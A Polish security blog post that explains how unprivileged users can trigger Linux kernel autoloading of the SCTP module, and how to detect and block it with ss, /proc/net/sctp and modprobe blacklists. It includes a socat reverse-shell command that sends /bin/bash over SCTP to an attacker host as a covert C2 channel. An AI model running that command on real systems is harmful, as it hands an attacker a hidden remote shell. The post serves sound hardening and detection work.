NFsec Logo

Kontrola modułów i protokołów sieciowych na przykładzie SCTP

Today w Bezpieczeństwo, Pen Test Brak komentarzy.  (artykuł nr 955, ilość słów: 2241)

N

iemal każdy serwer oparty na systemie operacyjnym Linux pełni konkretną rolę w publicznych i prywatnych sieciach. Hostując wybrane przez nas usługi obsługuje naszych użytkowników. Może wcielać się na przykład w rolę: zapory sieciowej, bazy danych, web|cache proxy, repozytorium kodu, rozproszonego systemu pamięci masowej, węzła K8S itd. Każda z tych ról wymaga odpowiednio dobranego oprogramowania i konfiguracji. Mimo to zasada pozostaje tutaj ta sama: im więcej pakietów (lub ich zależności) znajduje się w systemie, tym większa jest powierzchnia ataku (ang. attack surface). Dlatego wybierając konkretną rolę dla naszego serwera powinniśmy dbać o jego higienę oprogramowania. To samo odnosi się do modułów jądra i obsługi niezbędnych protokołów sieciowych. Serwer znajdujący się wyłącznie w sieci IPv4 nie musi zapewniać obsługi IPv6, a w 99% przypadków komunikacja w naszej sieci domowej / firmowej odbywa się wyłącznie za pomocą protokołów TCP i UDP.

Dla zobrazowania konsekwencji naruszenia wyżej opisanych zaleceń przejdźmy przez następujący scenariusz: użytkownik posiadający możliwość uruchomienia prostego skryptu w języku python (bezpośrednio w systemie lub przez kontener) uruchamia na „czystym” (bez zbędnie załadowanych protokołów) serwerze następujący kod:

#!/usr/bin/env python3

import socket

# Wartość liczbowa protokołu SCTP (IPPROTO_SCTP) w Linuksie to 132
# cat /usr/src/linux-headers-6.8.0-146/include/linux/socket.h | grep SCTP
# define SOL_SCTP 132

IPPROTO_SCTP = getattr(socket, "IPPROTO_SCTP", 132)

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, IPPROTO_SCTP)
    print("Gniazdo utworzone pomyślnie – jądro załadowało moduł SCTP.")
    s.close()
except OSError as e:
    print(f"Nie udało się załadować modułu SCTP / utworzyć gniazda: {e}")

Plik zapisujemy jako load_module.py i uruchamiamy:

agresor@darkstar:~$ lsmod | grep sctp

agresor@darkstar:~$ python3 load_module.py
Gniazdo utworzone pomyślnie – jądro załadowało moduł SCTP.

agresor@darkstar:~$ lsmod | grep sctp
sctp                  495616  2
ip6_udp_tunnel         16384  1 sctp
udp_tunnel             32768  1 sctp
libcrc32c              12288  3 btrfs,raid456,sctp

agresor@darkstar:~$ modinfo sctp
filename:       /lib/modules/6.8.0-146-generic/kernel/net/sctp/sctp.ko.zst
license:        GPL
description:    Support for the SCTP protocol (RFC2960)
author:         Linux Kernel SCTP developers 
alias:          net-pf-10-proto-132
alias:          net-pf-2-proto-132
srcversion:     99BB64788A9F48823A9C483
depends:        udp_tunnel,ip6_udp_tunnel,libcrc32c
retpoline:      Y
intree:         Y
name:           sctp

Mimo, że użytkownik nie posiadał podniesionych uprawnień był w stanie załadować do jądra moduł: sctp.ko. Dzieje się tak, gdy dowolny proces (w tym zwykły, nieuprzywilejowany użytkownik lub proces w kontenerze) wywoła funkcję systemową tworzenia gniazda sieciowego:

socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);

W uproszczeniu: jądro systemu sprawdza wówczas bazę aliasów protokołów sieciowych (net-pf-2-proto-132 dla IPv4 lub net-pf-10-proto-132 dla IPv6):

agresor@darkstar:~$ grep net-pf- /lib/modules/`uname -r`/modules.alias | grep sctp
alias net-pf-10-proto-132 sctp
alias net-pf-2-proto-132 sctp
alias net-pf-16-proto-4-type-2-132 sctp_diag

Następnie automatycznie uruchamia procedurę ładowania modułu poprzez polecenie w przestrzeni użytkownika, ale z uprawnieniami administratora:

/sbin/modprobe sctp

Mechanizm ten nosi nazwę automatycznego ładowania modułów (ang. kernel module autoloading). O ile bardzo ułatwia on użytkowanie komputerów stacjonarnych np. gdy chcemy podłączyć urządzenia USB albo użyć innego systemu plików, a odpowiedni moduł nie jest jeszcze załadowany – jądro wywołuje wcześniej wspomnianą funkcję request_module(), aby zapewnić nam poprawną obsługę naszego żądania. O tyle w przypadku środowisk serwerowych jest często krytykowane ze względów bezpieczeństwa, ponieważ nieuprzywilejowani użytkownicy mogą próbować wywoływać ładowanie rzadkich, a co gorsza podatnych modułów.

Jest to szczególnie ważne w przypadku podatności typu: CVE-2017-6074 (protokół: Datagram Congestion Control Protocol) lub CVE-2026-64564 (protokół: Stream Control Transmission Protocol) itp., które po wielu latach znajdowane są w stosie sieciowym jądra systemu Linux. W rezultacie nie możemy być już zaskoczeni, gdy w najbliższej przyszłości ujawni się więcej, groźniejszych błędów tego rodzaju. Jednak błędna konfiguracja niepotrzebnie zwiększająca powierzchnię ataku na jądro systemu (wyzwolona przez zwykłego użytkownika) to tylko jedna strona medalu. Drugą może być wykorzystanie przez atakującego „obcego” protokołu jako ukrytego kanału komunikacji z serwerem C2 (ang. Command & Control) lub do przemieszczania się wewnątrz sieci lokalnej (ang. lateral movement). Komunikacja nietypowym protokołem może pozostać niezauważona przez systemy bezpieczeństwa skoncentrowane na ruchu TCP/UDP, a czasami nawet prowadzić do omijania zapór sieciowych. Poniżej znajduje się prosty przykład odwrotnej powłoki (ang. reverse shell) z użyciem programu socat i protokołu SCTP. Na maszynie atakującego uruchamiany nasłuch:

root@soundwave:~# socat SCTP-Listen:443 STDOUT

Z maszyny, na której został załadowany moduł SCTP przez skrypt w języku python otwieramy kanał komunikacji przekazując powłokę poleceń atakującemu:

agresor@darkstar:~$ socat SCTP:soundwave.apt.wan:443 EXEC:/bin/bash

Po podłączeniu agresor może wykonywać polecenia systemowe:

root@soundwave:~# socat SCTP-Listen:443 STDOUT
uname -a
Linux darkstar.lan 6.8.0-146-generic #146-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 3 16:12:30 UTC
hostname -f
darkstar.lan

Jeśli uruchomimy teraz polecania takie jak: netstat, czy jego następcę: ss z typowymi parametrami dla protokołów TCP/UDP, nie zobaczymy powyższego typu połączenia:

root@darkstar:~# ss -tun
Netid  State       Recv-Q  Send-Q  Local Address:Port    Peer Address:Port              
tcp    ESTAB       0       0       10.82.12.49:9099      10.65.25.40:37776
tcp    CLOSE-WAIT  1       0       10.82.12.49:47988     10.65.26.123:8140
tcp    ESTAB       0       0       10.82.12.49:9099      10.32.145.17:47110
tcp    CLOSE-WAIT  1       0       10.82.12.49:48004     10.65.26.123:8140

W tym przypadku musimy użyć konkretnych flag, aby mieć pewność, że wyświetlone zostaną wszystkie gniazda TCP/UDP + SCTP w stanie nawiązanych połączeń:

root@darkstar:~# ss -Stun
Netid  State       Recv-Q  Send-Q  Local Address:Port     Peer Address:Port              
tcp    ESTAB       0       0       10.82.12.49:9099       10.65.25.40:37776
tcp    CLOSE-WAIT  1       0       10.82.12.49:47988      10.65.26.123:8140
tcp    ESTAB       0       0       10.82.12.49:9099       10.32.145.17:47110
tcp    CLOSE-WAIT  1       0       10.82.12.49:48004      10.65.26.123:8140
sctp   ESTAB       0       0       10.82.12.49:57650      10.82.12.53:443
       `- ESTAB    0       0       10.82.12.49%eth0:57650 10.82.12.53:443                

Możemy też sprawdzić jakie aktualnie protokoły są załadowane i używane w systemie poprzez polecenie:

root@darkstar:~# cat /proc/net/protocols
protocol  size sockets  memory press maxhdr  slab module     cl co di ac io in de sh ss gs
SCTPv6    1536      1       0   no       0   yes  sctp        y  n  y  y  y  y  y  y  y  y
SCTP      1376      1       0   no       0   yes  sctp        y  n  y  y  y  y  y  y  y  y
QIPCRTR    784      0      -1   NI       0   yes  qrtr        n  n  n  n  n  n  n  n  n  n
PACKET    1536      3      -1   NI       0   no   kernel      n  n  n  n  n  n  n  n  n  n
MPTCPv6   2096      0      85   no       0   yes  kernel      y  y  y  n  y  y  y  y  y  y
PINGv6    1184      0      -1   NI       0   yes  kernel      y  y  y  n  n  y  n  n  y  y
RAWv6     1184      1      -1   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y
UDPLITEv6 1344      0       8   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y
UDPv6     1344      1       8   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y
TCPv6     2496      2      85   no     320   yes  kernel      y  y  y  y  y  y  y  y  y  y
XDP        960      0      -1   NI       0   no   kernel      n  n  n  n  n  n  n  n  n  n

Na koniec możemy sprawdzić jeszcze dwa pliki ze ścieżki /proc/net/sctp/. Pierwszy (eps), aby dowiedzieć się czy istnieją jakieś gniazda w stanie nasłuchiwania (ang. listening) oczekujące na nowe połączenia:

root@soundwave:~# cat /proc/net/sctp/eps
 ENDPT     SOCK   STY SST HBKT LPORT   UID INODE LADDRS
ffff8962d2e18800 ffff8962e282cd00 2   10  3    443       0 57299604 0.0.0.0

root@soundwave:~# find /proc/[0-9]*/fd/ -lname "*57299604*" 2>/dev/null
/proc/1125154/fd/5

root@soundwave:~# ls -al /proc/1125154/fd/5
lrwx------ 1 root root 64 Oct 14 21:17 /proc/1125154/fd/5 -> 'socket:[57299604]'

root@soundwave:~# cat /proc/1125154/cmdline
socatSCTP-Listen:443STDOUT

Drugi (assocs), aby sprawdzić asocjacje już pomyślnie nawiązane:

root@darkstar:~# cat /proc/net/sctp/assocs
ASSOC SOCK STY SST ST HBKT ASSOC-ID TX_QUEUE RX_QUEUE UID INODE LPORT RPORT 
ffff8917b017c000 ffff8917b02d4d00 2 1 3 0 5 0 0   1485 52285117 57650 443

LADDRS <-> RADDRS HBINT INS OUTS MAXRT T1X T2X RTXC wmema wmemq sndbuf rcvbuf
10.82.12.49 <-> *10.82.12.53 30000 10 10 10 0 0 0 1 0 212992 212992

root@darkstar:~# find /proc/[0-9]*/fd/ -lname "*52285117*" 2>/dev/null
/proc/640971/fd/5

root@darkstar:~# ls -al /proc/640971/fd/5
lrwx------ 1 agresor agresor 64 Oct 14 21:31 /proc/640971/fd/5 -> 'socket:[52285117]'

root@darkstar:~# cat /proc/640971/cmdline
socatSCTP:soundwave.apt.wan:443EXEC:/bin/bash

Podsumowanie:

Większość popularnych dystrybucji umieszcza różne protokoły sieciowe na „czarnej liście” (ang. blacklist), co znacząco ogranicza powierzchnię ataku. Niestety nie jest ona aktualizowana wraz z cyklem życia wykrywania nowych podatności, a raczej cyklem wydawniczym nowych wersji dystrybucji. W między czasie wywiera to na nas presję do podejmowania własnych korekt fabrycznej ewidencji (/etc/modprobe.d/blacklist-rare-network.conf w Ubuntu) przydatnych i nieprzydatnych modułów. Dobrym punktem odniesienia przy takich modyfikacjach są rekomendacje standardów bezpieczeństwa. Na przykład STIG dla systemów z rodziny RedHat – zaleca wyłączenie protokołu SCTP, gdy platforma systemowa nie przewiduje jego wykorzystania:

root@darkstar:~# echo 'blacklist sctp' > /etc/modprobe.d/sctp.conf
root@darkstar:~# echo 'install sctp /bin/false' >> /etc/modprobe.d/sctp.conf
root@darkstar:~# update-initramfs -u

agresor@darkstar:~$ python3 load_module.py
Nie udało się załadować modułu SCTP / utworzyć gniazda: [Errno 93] Protocol not supported

Innym podejściem jest całkowita blokada ładowania nowych modułów, jak tylko zostaną załadowane wszystkie niezbędne do poprawnego działania naszego serwera w wybranej konfiguracji.

Więcej informacji: Ancient local privilege escalation vulnerability in the kernel announced, SCTPhantom: An 18-Year-Old SCTP ASCONF Transport Use-After-Free, SCTP Protocol Attack Risks on Linux

Kategorie K a t e g o r i e : Bezpieczeństwo, Pen Test

Tagi T a g i : , , , , , , ,

Brak nowszych postów

Komentowanie tego wpisu jest zablokowane.